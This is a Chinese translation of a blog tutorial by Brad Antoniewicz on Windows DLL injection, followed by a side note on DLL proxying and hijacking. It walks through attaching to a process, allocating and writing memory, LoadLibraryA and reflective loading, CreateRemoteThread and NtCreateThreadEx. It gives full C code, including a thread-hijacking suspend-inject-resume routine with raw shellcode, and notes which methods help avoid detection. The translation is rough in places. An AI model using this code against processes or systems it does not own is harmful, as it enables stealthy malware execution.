Windows DLL注入基础
作者:Brad Antoniewicz
DLL注入是我一直知道但从未实际实现的事情之一。可能是因为我从来没有真正需要。我不是一个大玩家,而不是真正进入安全的恶意软件。实际上,我只需要注入一个正在运行的过程就是在开发/后期开发过程中,而且Metasploit已经损坏了我太多:)
所以,上周初我决定实际实现一些众所周知的Windows DLL注入技术来保持我的心安心 希望这个博客可以让您习惯这些技巧,也可能激励您自行实施。
定义
DLL注入是将代码插入到正在运行的进程中的过程。我们通常插入的代码是动态链接库(DLL)的形式,因为DLL在运行时是根据需要加载的。然而,这并不意味着我们不能以任何其他形式(可执行文件,手写等)注入程序集。重要的是要注意,您需要在系统上具有适当级别的权限才能开始播放其他程序的内存。
概观
Windows API实际上提供了一些功能,允许我们附加和操作到其他程序进行调试。我们将利用这些方法来执行我们的DLL注入。我将DLL注入分解成四个步骤:
附加到该过程
在进程内分配内存
将 DLL或DLL路径复制到进程内存中,并确定适当的内存地址
指示进程执行您的DLL
这些步骤中的每一个可以通过使用以下图形中总结的一种或多种编程技术来实现。了解每个技术的细节/选项很重要,因为它们都具有正面和负面。
执行起点
在指示目标进程启动我们的DLL时, 我们有几个选项(例如CreateRemoteThread(),NtCreateThreadEx()...等等)。不幸的是,我们不能仅仅为这些函数提供我们的DLL的名称,而是提供一个内存地址来开始执行。我们执行分配和复制步骤以获得目标进程内存中的空间,并将其准备为执行起始点。
有两个流行的起点:LoadLibraryA()跳到 DllMain。
LoadLibraryA()
LoadLibraryA()是一个kernel32.dll用于在运行时加载DLL,可执行文件和其他支持库的函数。它需要一个文件名作为其唯一的参数,并且神奇地使一切正常。这意味着我们只需要为我们的DLL的路径分配一些内存,并将我们的执行起点设置为地址LoadLibraryA(),提供路径所在的内存地址作为参数。
它的主要缺点LoadLibraryA()是它使用程序注册加载的DLL,因此可以很容易地检测到。另一个有点恼人的警告是,如果DLL已经被加载了一次LoadLibraryA(),它将不会执行它。你可以解决这个问题,但它是更多的代码。
跳到DllMain(或另一个入口点)
另一种方法LoadLibraryA()是将整个DLL加载到内存中,然后确定到DLL的入口点的偏移量。使用这种方法,您可以避免使用程序(隐藏)注册DLL并重复注入到进程中。
加入流程
首先,我们需要一个处理程序,以便我们可以与之进行交互。这是通过OpenProcess()函数完成的。我们还需要请求某些访问权限,以便我们执行以下任务。我们要求的具体访问权限因Windows版本而异,但以下内容应适用于大多数:
hHandle = OpenProcess( PROCESS_CREATE_THREAD |
PROCESS_QUERY_INFORMATION |
PROCESS_VM_OPERATION |
PROCESS_VM_WRITE |
PROCESS_VM_READ,
FALSE,
procID );
分配内存
在我们可以将任何东西注入另一个过程之前,我们需要一个放置它的地方。我们将使用这个VirtualAllocEx()功能。
VirtualAllocEx()需要将内存量作为其参数之一进行分配。如果我们使用LoadLibraryA(),我们将为DLL的完整路径分配空间,如果我们跳转到DllMain,我们将为DLL的全部内容分配空间。
DLL路径
为DLL路径分配空间稍微减少了您需要编写的代码量,但不会太多。它还要求您使用LoadLibraryA()具有一些缺点的方法(如上所述)。话虽如此,这是一个非常受欢迎的方法。
使用VirtualAllocEx()和分配足够的内存来支持包含DLL路径的字符串:
GetFullPathName(TEXT("somedll.dll"),
BUFSIZE,
dllPath, //Output to save the full DLL path
NULL);
dllPathAddr = VirtualAllocEx(hHandle,
0,
strlen(dllPath),
MEM_RESERVE|MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
完整的DLL
为完整的DLL分配空间需要更多的代码,但它也更可靠,不需要使用LoadLibraryA()。
首先,打开DLL的句柄,CreateFileA()然后计算其大小GetFileSize()并将其传递给VirtualAllocEx():
GetFullPathName(TEXT("somedll.dll"),
BUFSIZE,
dllPath, //Output to save the full DLL path
NULL);
hFile = CreateFileA( dllPath,
GENERIC_READ,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL );
dllFileLength = GetFileSize( hFile,
NULL );
remoteDllAddr = VirtualAllocEx( hProcess,
NULL,
dllFileLength,
MEM_RESERVE|MEM_COMMIT,
PAGE_EXECUTE_READWRITE );
复制DLL /确定地址
我们现在可以将DLL(路径或内容)复制到目标进程空间。
现在我们在目标进程中分配了空间,我们可以将DLL路径或完整DLL(根据您选择的方法)复制到该进程中。我们将使用WriteProcessMemory()这样做:
DLL路径
WriteProcessMemory(hHandle,
dllPathAddr,
dllPath,
strlen(dllPath),
NULL);
完整的DLL
我们首先需要将我们的DLL读入内存,然后再将其复制到远程进程。
lpBuffer = HeapAlloc( GetProcessHeap(),
0,
dllFileLength);
ReadFile( hFile,
lpBuffer,
dllFileLength,
&dwBytesRead,
NULL );
WriteProcessMemory( hProcess,
lpRemoteLibraryBuffer,
lpBuffer,
dllFileLength,
NULL );
确定我们的执行起点
大多数执行函数需要一个内存地址才能开始,所以我们需要确定一个内存地址。
DLL路径和 LoadLibraryA()
我们将搜索我们自己的进程存储器的起始地址LoadLibraryA(),然后将其传递给我们的执行函数,其中包含DLL路径的内存地址作为参数。要获取LoadLibraryA()地址,我们将使用GetModuleHandle()和GetProcAddress():
loadLibAddr = GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "LoadLibraryA");
完整的DLL和跳转到 DllMain
通过将整个DLL复制到内存中,我们可以避免使用进程注册我们的DLL并且更可靠地注入。这样做有点困难的部分是在内存中加载到DLL的入口点。幸运的是,Stephen Fewer让我们的生活变得轻松。他开创了反射式DLL注入技术,与现有的方法相比,提供了更大程度的隐身。ReflectiveDLLInjection Inject项目中LoadRemoteLibraryR()包含的功能完全实现,但是它限制了我们的执行方法。因此,我们将使用它来确定我们的进程内存中的偏移量,然后使用该偏移加上受害进程中内存的基址,我们将我们的DLL写入到执行起始点。CreateRemoteThread()GetReflectiveLoaderOffset()
dwReflectiveLoaderOffset = GetReflectiveLoaderOffset(lpWriteBuff);
执行DLL!
在这一点上,我们有我们的DLL在内存,我们知道我们要开始执行的内存地址。所有这一切真的是让我们的过程来执行它。有几种方法可以做到这一点。
CreateRemoteThread()
该CreateRemoteThread()功能可能是最广泛已知和使用的方法。这是非常可靠的,大多数时间,但您可能想要使用另一种方法来避免检测,或者如果Microsoft更改某些东西导致CreateRemoteThread()停止工作。
既然CreateRemoteThread()是一个非常成熟的功能,你在使用它方面有更大的灵活性。例如,您可以使用Python来执行DLL注入!
rThread = CreateRemoteThread(hTargetProcHandle, NULL, 0, lpStartExecAddr, lpExecParam, 0, NULL);
WaitForSingleObject(rThread, INFINITE);
NtCreateThreadEx()
NtCreateThreadEx()是一个无证的ntdll.dll功能。无证件功能的麻烦在于,微软决定随时可能会消失或改变。话虽如此,NtCreateThreadEx()当Windows Vista的会话分离影响CreateRemoteThread()DLL注入时,它变得非常方便。
有关此方法的详细信息如下所述:
http://securityxploded.com/ntcreatethreadex.php
NtCreateThreadEx()调用起来有点复杂,我们需要一个特定的结构来传递给它,另一个则从它接收数据。我在这里详细说明了实现:
struct NtCreateThreadExBuffer {
ULONG Size;
ULONG Unknown1;
ULONG Unknown2;
PULONG Unknown3;
ULONG Unknown4;
ULONG Unknown5;
ULONG Unknown6;
PULONG Unknown7;
ULONG Unknown8;
};
typedef NTSTATUS (WINAPI *LPFUN_NtCreateThreadEx) (
OUT PHANDLE hThread,
IN ACCESS_MASK DesiredAccess,
IN LPVOID ObjectAttributes,
IN HANDLE ProcessHandle,
IN LPTHREAD_START_ROUTINE lpStartAddress,
IN LPVOID lpParameter,
IN BOOL CreateSuspended,
IN ULONG StackZeroBits,
IN ULONG SizeOfStackCommit,
IN ULONG SizeOfStackReserve,
OUT LPVOID lpBytesBuffer
);
HANDLE bCreateRemoteThread(HANDLE hHandle, LPVOID loadLibAddr, LPVOID dllPathAddr) {
HANDLE hRemoteThread = NULL;
LPVOID ntCreateThreadExAddr = NULL;
NtCreateThreadExBuffer ntbuffer;
DWORD temp1 = 0;
DWORD temp2 = 0;
ntCreateThreadExAddr = GetProcAddress(GetModuleHandle(TEXT("ntdll.dll")), "NtCreateThreadEx");
if( ntCreateThreadExAddr ) {
ntbuffer.Size = sizeof(struct NtCreateThreadExBuffer);
ntbuffer.Unknown1 = 0x10003;
ntbuffer.Unknown2 = 0x8;
ntbuffer.Unknown3 = &temp2;
ntbuffer.Unknown4 = 0;
ntbuffer.Unknown5 = 0x10004;
ntbuffer.Unknown6 = 4;
ntbuffer.Unknown7 = &temp1;
ntbuffer.Unknown8 = 0;
LPFUN_NtCreateThreadEx funNtCreateThreadEx = (LPFUN_NtCreateThreadEx)ntCreateThreadExAddr;
NTSTATUS status = funNtCreateThreadEx(
&hRemoteThread,
0x1FFFFF,
NULL,
hHandle,
(LPTHREAD_START_ROUTINE)loadLibAddr,
dllPathAddr,
FALSE,
NULL,
NULL,
NULL,
&ntbuffer
);
if (hRemoteThread == NULL) {
printf("\t[!] NtCreateThreadEx Failed! [%d][%08x]\n", GetLastError(), status);
return NULL;
} else {
return hRemoteThread;
}
} else {
printf("\n[!] Could not find NtCreateThreadEx!\n");
}
return NULL;
}
现在我们可以称之为CreateRemoteThread():
rThread = bCreateRemoteThread(hTargetProcHandle, lpStartExecAddr, lpExecParam);
WaitForSingleObject(rThread, INFINITE);
暂停,注入和恢复
挂起,注入和恢复是一个非官方术语,用于描述注入进程的方法,通过附加到它,挂起它和所有线程,针对特定线程,保存当前寄存器,将指令指针改变为指向执行起点,恢复线程。这是一个更加侵入性的方法,但可靠地工作,并不依赖于额外的函数调用。
这种方法有一点更多的实现。这里有一个很好的写作:
http://syprog.blogspot.com/2012/ ... bypass-windows.html
VOID suspendInjectResume(HANDLE hHandle, LPVOID loadLibAddr, LPVOID dllPathAddr) {
/*
This is a mixture from the following sites:
http://syprog.blogspot.com/2012/ ... bypass-windows.html
http://www.kdsbest.com/?p=159
*/
HANDLE hSnapshot = CreateToolhelp32Snapshot( TH32CS_SNAPTHREAD, 0 );
HANDLE hSnapshot2 = CreateToolhelp32Snapshot( TH32CS_SNAPTHREAD, 0 );
HANDLE thread = NULL;
THREADENTRY32 te;
THREADENTRY32 te2;
CONTEXT ctx;
DWORD firstThread = 0;
HANDLE targetThread = NULL;
LPVOID scAddr;
int i;
unsigned char sc[] = {
// Push all flags
0x9C,
// Push all register
0x60,
// Push 3,4,5,6 (dllPathAddr)
0x68, 0xAA, 0xAA, 0xAA, 0xAA,
// Mov eax, 8,9,10, 11 (loadLibAddr)
0xB8, 0xBB, 0xBB, 0xBB, 0xBB,
// Call eax
0xFF, 0xD0,
// Pop all register
0x61,
// Pop all flags
0x9D,
// Ret
0xC3
};
te.dwSize = sizeof(THREADENTRY32);
te2.dwSize = sizeof(THREADENTRY32);
ctx.ContextFlags = CONTEXT_FULL;
sc[3] = ((unsigned int) dllPathAddr & 0xFF);
sc[4] = (((unsigned int) dllPathAddr >> 8 )& 0xFF);
sc[5] = (((unsigned int) dllPathAddr >> 16 )& 0xFF);
sc[6] = (((unsigned int) dllPathAddr >> 24 )& 0xFF);
sc[8] = ((unsigned int) loadLibAddr & 0xFF);
sc[9] = (((unsigned int) loadLibAddr >> 8 )& 0xFF);
sc[10] = (((unsigned int) loadLibAddr >> 16 )& 0xFF);
sc[11] = (((unsigned int) loadLibAddr >> 24 )& 0xFF);
// Suspend Threads
if(Thread32First(hSnapshot, &te)) {
do {
if(te.th32OwnerProcessID == GetProcessId(hHandle)) {
if ( firstThread == 0 )
firstThread = te.th32ThreadID;
thread = OpenThread(THREAD_ALL_ACCESS | THREAD_GET_CONTEXT, FALSE, te.th32ThreadID);
if(thread != NULL) {
printf("\t[+] Suspending Thread 0x%08x\n", te.th32ThreadID);
SuspendThread(thread);
CloseHandle(thread);
} else {
printf("\t[+] Could not open thread!\n");
}
}
} while(Thread32Next(hSnapshot, &te));
} else {
printf("\t[+] Could not Thread32First! [%d]\n", GetLastError());
CloseHandle(hSnapshot);
exit(-1);
}
CloseHandle(hSnapshot);
printf("\t[+] Our Launcher Code:\n\t");
for (i=0; i<17; i++)
printf("%02x ",sc);
printf("\n");
// Get/Save EIP, Inject
printf("\t[+] Targeting Thread 0x%08x\n",firstThread);
targetThread = OpenThread(THREAD_ALL_ACCESS, FALSE, firstThread);
if (GetThreadContext(targetThread, &ctx) == 0)
printf("[!] GetThreadContext Failed!\n");
printf("\t[+] Current Registers: \n\t\tEIP[0x%08x] ESP[0x%08x]\n", ctx.Eip, ctx.Esp);
printf("\t[+] Saving EIP for our return\n");
ctx.Esp -= sizeof(unsigned int);
WriteProcessMemory(hHandle, (LPVOID)ctx.Esp, (LPCVOID)&ctx.Eip, sizeof(unsigned int), NULL);
printf("\t\tEIP[0x%08x] ESP[0x%08x] EBP[0x%08x]\n", ctx.Eip, ctx.Esp, ctx.Ebp);
scAddr = VirtualAllocEx(hHandle, NULL, 17, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
printf("\t[+] Allocating 17 bytes for our Launcher Code [0x%08x][%d]\n", scAddr, GetLastError());
printf ("\t[+] Writing Launcher Code into targetThread [%d]\n", WriteProcessMemory(hHandle, scAddr, (LPCVOID)sc, 17, NULL));
printf("\t[+] Setting EIP to LauncherCode\n");
ctx.Eip = (DWORD)scAddr;
printf("\t\tEIP[0x%08x] ESP[0x%08x]\n", ctx.Eip, ctx.Esp);
if (SetThreadContext(targetThread, &ctx) == 0)
printf("[!] SetThreadContext Failed!\n");
// Resume Threads
hSnapshot = CreateToolhelp32Snapshot( TH32CS_SNAPTHREAD, 0 );
te.dwSize = sizeof(THREADENTRY32);
if(Thread32First(hSnapshot2, &te2)) {
do {
if(te2.th32OwnerProcessID == GetProcessId(hHandle)) {
thread = OpenThread(THREAD_ALL_ACCESS | THREAD_GET_CONTEXT, FALSE, te2.th32ThreadID);
if(thread != NULL) {
printf("\t[+] Resuming Thread 0x%08x\n", te2.th32ThreadID);
ResumeThread(thread);
if (te2.th32ThreadID == firstThread)
WaitForSingleObject(thread, 5000);
CloseHandle(thread);
} else {
printf("\t[+] Could not open thread!\n");
}
}
} while(Thread32Next(hSnapshot2, &te2));
} else {
printf("\t[+] Could not Thread32First! [%d]\n", GetLastError());
CloseHandle(hSnapshot2);
exit(-1);
}
CloseHandle(hSnapshot2);
}
侧注:DLL代{过}{滤}理/ DLL劫持
作为附注,DLL注入与DLL代{过}{滤}理和劫持非常不同。由于某些原因,人们往往会混淆这些。后者假冒合法的DLL,并且基本上“欺骗”应用程序来加载它,而前者在运行时将DLL插入到进程中。
DLL代{过}{滤}理最常见的是假定您可以完全控制应用程序的安装目录。“攻击者”重命名合法的DLL,并将自己的DLL复制到安装目录中。当应用程序运行时,它会加载攻击者的DLL(因为它被正确命名),然后攻击者的DLL会将该函数调用中断到合法的DLL。DLL代{过}{滤}理是系统的实际所有者最常用的扩展应用功能的方法。例如,DLL代{过}{滤}理在游戏世界中很受欢迎。许多人使用这种技术来修改作弊或其他乐趣的游戏功能。“间谍”应用程序还利用DLL代{过}{滤}理来尝试捕获用户提供的应用程序值。
DLL劫持类似于代{过}{滤}理,但不同之处在于劫持通常会滥用Windows的DLL搜索顺序,以便危及系统(或以其他方式控制应用程序的流)。它通常不需要攻击者对应用程序的安装目录具有写入权限,而是应用程序启动的目录。在应用程序尝试调用不存在的DLL或攻击者能够将恶意DLL放在与启动易受攻击的应用程序的文件相同的目录中时,攻击者的DLL将被加载并且将执行代码执行。这是因为Windows [用于]在大多数其他位置之前在应用程序加载的当前目录中搜索应用程序DLL。
|